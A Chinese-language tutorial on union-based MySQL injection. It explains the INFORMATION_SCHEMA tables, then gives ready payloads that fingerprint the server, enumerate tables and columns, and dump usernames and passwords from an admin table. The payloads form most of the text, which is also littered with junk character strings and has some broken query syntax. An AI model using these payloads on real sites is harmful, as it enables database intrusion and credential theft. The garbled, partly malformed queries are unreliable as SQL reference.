mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

学习盲注前先了解下 IFORMATION_SCHEMA 库
$ ]# _" J3 P; O& C7 l
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
8 g/ t& u" ^( Z- G' v7 I( ]7 _0 ^( G|---字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
* m  ~; y4 i8 c& h5 Y|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
$ c; x# @+ x2 h. }|---字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
3 A7 e( s1 _$ O# I+ T) [- p|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称
1 q5 K) F$ Y& n
4 g# ~+ o6 D4 e/ C|---字段：COLUMN_NAME ->该字段的名称
% J: K+ Y6 X4 _. [7 A' }5 z6 K/ _

4 t) l2 s) U. L6 d
; m& f4 k0 p+ U# N, ^0 s* ~1 d###########################################################################

5 P3 F& p* f* H9 u- R" {0 Q* ~7 {5 P0x001 获取系统信息:

union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
2 g* D5 @$ ^+ n  H6 O  y
/*
3 C1 r& s+ {" Z4 R6 O
@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
: e6 y+ [. n9 z6 a( xdatabase() 当前数据库名称
% X6 T9 ]6 S( B1 B2 b& Y- q3 B0x3c62723e 换行HEX值

. l9 R- h6 _+ X& r- S  ^*/

+ ]1 r0 u9 D$ f9 f* {, o
8 a7 ?$ F8 D  J" k6 l1 ]
######################################################################
  t% ?$ E% c$ S* w- e+ a: ^
, s$ }' ~$ Y8 ?. w3 w0x002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*



  Y; i4 n) ~% z1 b! }% M- }/*
' z5 F9 n4 ?6 |( C3 G+ P
0x67617264656e 为当前数据库名
8 ?9 r. n- H# ]5 O& U  O
, f5 P; s* S' U* Bgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名

1 h& u/ G8 ^" G*/

######################################################################
3 r; z0 ~( f0 a* U, A! M" {# ]
+ G; F& N+ s* r+ b- H- U; D

0x003 获取字段
6 D  X6 E2 `0 U; r; u' O% Z
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

/*
1 z: D8 b0 u# D
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表

& ~+ V0 Q6 s4 D' M8 e0x67617264656e ->数据库名

*/
( w0 i7 s, G. m* G
#####################################################################
& V/ A! O2 a$ A# r9 X& J0 O( l
% h' j( v( ]) E! p

# K& n# G7 ^0 L/ f0 R0x004 获取数据

union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

+ R7 e# G" e( Yunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
. B' u" Q) `1 e. z
5 }# {# x. ~6 z7 M6 r

/*
. H/ p. X' o; p. Z. I. [$ o* h/ L, a
* a& \, j) Z3 S2 p- `$ L+ C  y3 X0x3c62723e 换行符号HEX编码
" u. S8 o7 D4 A
. M, z! `$ }! \  ~' Qgroup_concat 同时获得该字段所有数据

*/
; [3 e# K' l8 y) y& C9 J  S